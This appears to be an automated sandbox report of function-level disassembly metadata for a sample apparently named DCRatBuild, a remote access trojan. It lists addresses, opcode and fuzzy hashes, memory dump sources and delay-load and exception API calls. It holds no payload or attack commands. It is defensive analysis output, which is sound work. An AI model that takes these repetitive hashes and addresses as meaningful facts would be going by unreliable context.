String ID:
API String ID: 1269201914-0
Opcode ID: 8edef5437e658d082adc9488a92b00a819cff75467d93bb395642e8190a358ee
Instruction ID: 6b906a6a7b5ce59e056548a5c3d07e3c03ecf873a663737df21804aa00fe26e7
Opcode Fuzzy Hash: 8edef5437e658d082adc9488a92b00a819cff75467d93bb395642e8190a358ee
Instruction Fuzzy Hash: E3A001EA7A914ABC310876566D0BC3B121DF4C6B66330893EF866C4982A89468451A72

Uniqueness

Uniqueness Score: -1.00%

Function 0088E219 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 53bb64b023533d88ec28920a36b70c2c3137070123e14617d9bca5909be8513d
Instruction ID: 6b906a6a7b5ce59e056548a5c3d07e3c03ecf873a663737df21804aa00fe26e7
Opcode Fuzzy Hash: 53bb64b023533d88ec28920a36b70c2c3137070123e14617d9bca5909be8513d
Instruction Fuzzy Hash: E3A001EA7A914ABC310876566D0BC3B121DF4C6B66330893EF866C4982A89468451A72

Uniqueness

Uniqueness Score: -1.00%

Function 0088E25F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ce5c3d703b6c206d910662b496d8cb396206a4878f12153f6c8acc630237f68f
Instruction ID: 6b906a6a7b5ce59e056548a5c3d07e3c03ecf873a663737df21804aa00fe26e7
Opcode Fuzzy Hash: ce5c3d703b6c206d910662b496d8cb396206a4878f12153f6c8acc630237f68f
Instruction Fuzzy Hash: E3A001EA7A914ABC310876566D0BC3B121DF4C6B66330893EF866C4982A89468451A72

Uniqueness

Uniqueness Score: -1.00%

Function 0088E27D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E1E3

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 60e30e4c1887c6626d7bf6d74a9d3323d68e56734a76455f01ff0fc79aa97a2d
Instruction ID: 6b906a6a7b5ce59e056548a5c3d07e3c03ecf873a663737df21804aa00fe26e7
Opcode Fuzzy Hash: 60e30e4c1887c6626d7bf6d74a9d3323d68e56734a76455f01ff0fc79aa97a2d
Instruction Fuzzy Hash: E3A001EA7A914ABC310876566D0BC3B121DF4C6B66330893EF866C4982A89468451A72

Uniqueness

Uniqueness Score: -1.00%

Function 0088E3EF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E3FC

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 09dd4139bb74784a68279acf46b37db75b3241ae63a4588e0fac61de44e67df3
Instruction ID: 3fb41b0085fab4451b8e1f0fc12078393d4eec6480d8368392062f477bd3cc88
Opcode Fuzzy Hash: 09dd4139bb74784a68279acf46b37db75b3241ae63a4588e0fac61de44e67df3
Instruction Fuzzy Hash: CDA001E62A915A7D7108B6556D06C3B021DE9D2B29330952EF825E5A81AC891C451A73

Uniqueness

Uniqueness Score: -1.00%

Function 0088E40A Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E3FC

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0fa6125884c0bd5bbccb90ddc7f839720ea39fc7adb51249dadad5ddec01760b
Instruction ID: 6bfce62b643e8093a710bcb31d88eb5d3af8c821d81e0031e606f2ebb5bd198a
Opcode Fuzzy Hash: 0fa6125884c0bd5bbccb90ddc7f839720ea39fc7adb51249dadad5ddec01760b
Instruction Fuzzy Hash: 49A011E22A800ABC3008B2002C02C3B020CE8C2B20330882EF822E0A80A8880C000A33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E414 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E3FC

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 893db725910fb0be2bcdbc9b83207e2ea666f063e881980bd05261169eedad30
Instruction ID: 6bfce62b643e8093a710bcb31d88eb5d3af8c821d81e0031e606f2ebb5bd198a
Opcode Fuzzy Hash: 893db725910fb0be2bcdbc9b83207e2ea666f063e881980bd05261169eedad30
Instruction Fuzzy Hash: 49A011E22A800ABC3008B2002C02C3B020CE8C2B20330882EF822E0A80A8880C000A33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E43C Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E3FC

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 51b2896d3e804d060ce2318e32d3edda4d9db8c7447cac89fe574d3b31e9dca2
Instruction ID: 6bfce62b643e8093a710bcb31d88eb5d3af8c821d81e0031e606f2ebb5bd198a
Opcode Fuzzy Hash: 51b2896d3e804d060ce2318e32d3edda4d9db8c7447cac89fe574d3b31e9dca2
Instruction Fuzzy Hash: 49A011E22A800ABC3008B2002C02C3B020CE8C2B20330882EF822E0A80A8880C000A33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E432 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E3FC

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b4cf7612271a4f5cd374137741ef7402329df51aca41f11ba0671b6313fa8b4e
Instruction ID: 6bfce62b643e8093a710bcb31d88eb5d3af8c821d81e0031e606f2ebb5bd198a
Opcode Fuzzy Hash: b4cf7612271a4f5cd374137741ef7402329df51aca41f11ba0671b6313fa8b4e
Instruction Fuzzy Hash: 49A011E22A800ABC3008B2002C02C3B020CE8C2B20330882EF822E0A80A8880C000A33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E446 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E3FC

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 816649ab4dae69b40978cc0590ec822a50e6714e964659f872c3a17ad406b299
Instruction ID: 6bfce62b643e8093a710bcb31d88eb5d3af8c821d81e0031e606f2ebb5bd198a
Opcode Fuzzy Hash: 816649ab4dae69b40978cc0590ec822a50e6714e964659f872c3a17ad406b299
Instruction Fuzzy Hash: 49A011E22A800ABC3008B2002C02C3B020CE8C2B20330882EF822E0A80A8880C000A33

Uniqueness

Uniqueness Score: -1.00%

Function 0088E58E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E580

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4697c418a94d1856d06abf5ccec05a6363ff1c783793ce473a35e30e5dc571c6
Instruction ID: 08b5f1efa843198f4cd78ab2422e7112e126fdae293d06d21c0a1a1a47f4f3b8
Opcode Fuzzy Hash: 4697c418a94d1856d06abf5ccec05a6363ff1c783793ce473a35e30e5dc571c6
Instruction Fuzzy Hash: 17A011C22A800ABC3008B2A22C02C3B020CE0C2B28330882EF822C0880B88008000A32

Uniqueness

Uniqueness Score: -1.00%

Function 0088E5A2 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E580

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fc1d69bf7da90eec6d6afbae37d1a10af1a575454ab6438050f983e1d17965c2
Instruction ID: 08b5f1efa843198f4cd78ab2422e7112e126fdae293d06d21c0a1a1a47f4f3b8
Opcode Fuzzy Hash: fc1d69bf7da90eec6d6afbae37d1a10af1a575454ab6438050f983e1d17965c2
Instruction Fuzzy Hash: 17A011C22A800ABC3008B2A22C02C3B020CE0C2B28330882EF822C0880B88008000A32

Uniqueness

Uniqueness Score: -1.00%

Function 0088E541 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E51F

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 695b4d358fff0dcfcdebb64ebedcce698e9d6b6ee5d7944b84d24e7056c387f6
Instruction ID: 18f7b86ca2e2add0118aa0352b4b934aaf3e636a120056cc1a82c3caf365ae1c
Opcode Fuzzy Hash: 695b4d358fff0dcfcdebb64ebedcce698e9d6b6ee5d7944b84d24e7056c387f6
Instruction Fuzzy Hash: BDA001D66A954ABC3108B6596D06C3F161DE4D6F69370992EF826C4981A8841C451A72

Uniqueness

Uniqueness Score: -1.00%

Function 0088E55F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E51F

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: cd7af1c07843dd5d021b8357e428a80251ce82dd57e1567bd1586a112f0c3f40
Instruction ID: 18f7b86ca2e2add0118aa0352b4b934aaf3e636a120056cc1a82c3caf365ae1c
Opcode Fuzzy Hash: cd7af1c07843dd5d021b8357e428a80251ce82dd57e1567bd1586a112f0c3f40
Instruction Fuzzy Hash: BDA001D66A954ABC3108B6596D06C3F161DE4D6F69370992EF826C4981A8841C451A72

Uniqueness

Uniqueness Score: -1.00%

Function 0088E555 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E51F

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f675508366261f7848b136dda8ee3500d24efa8c22ca95513995af84f9516d92
Instruction ID: 18f7b86ca2e2add0118aa0352b4b934aaf3e636a120056cc1a82c3caf365ae1c
Opcode Fuzzy Hash: f675508366261f7848b136dda8ee3500d24efa8c22ca95513995af84f9516d92
Instruction Fuzzy Hash: BDA001D66A954ABC3108B6596D06C3F161DE4D6F69370992EF826C4981A8841C451A72

Uniqueness

Uniqueness Score: -1.00%

Function 0088E569 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E51F

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 328bd15253375a79b5be8f5b58a9cb0bbdaffe401afb902de41bc4d3c9747d9e
Instruction ID: 18f7b86ca2e2add0118aa0352b4b934aaf3e636a120056cc1a82c3caf365ae1c
Opcode Fuzzy Hash: 328bd15253375a79b5be8f5b58a9cb0bbdaffe401afb902de41bc4d3c9747d9e
Instruction Fuzzy Hash: BDA001D66A954ABC3108B6596D06C3F161DE4D6F69370992EF826C4981A8841C451A72

Uniqueness

Uniqueness Score: -1.00%

Function 0088E573 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088E580

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d2935c6b254e91be69ad76af480a3f1a65b73fd68d6d87307048b818813fc9bf
Instruction ID: 7272915de2681645c46693dd9ee1209591b06d1e1c676bc7621918f54e59f3ee
Opcode Fuzzy Hash: d2935c6b254e91be69ad76af480a3f1a65b73fd68d6d87307048b818813fc9bf
Instruction Fuzzy Hash: BDA011C22A80083C3008B2A22C02C3B020CE0E2B2A330822EF820C0880B88008000A32

Uniqueness

Uniqueness Score: -1.00%

Function 00879F09 Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,0087903E,?,?,-00000870,?,-000018B8,00000000,?,-000028B8,?,00000800,-000028B8,?,00000000,?), ref: 00879F0C

Memory Dump Source

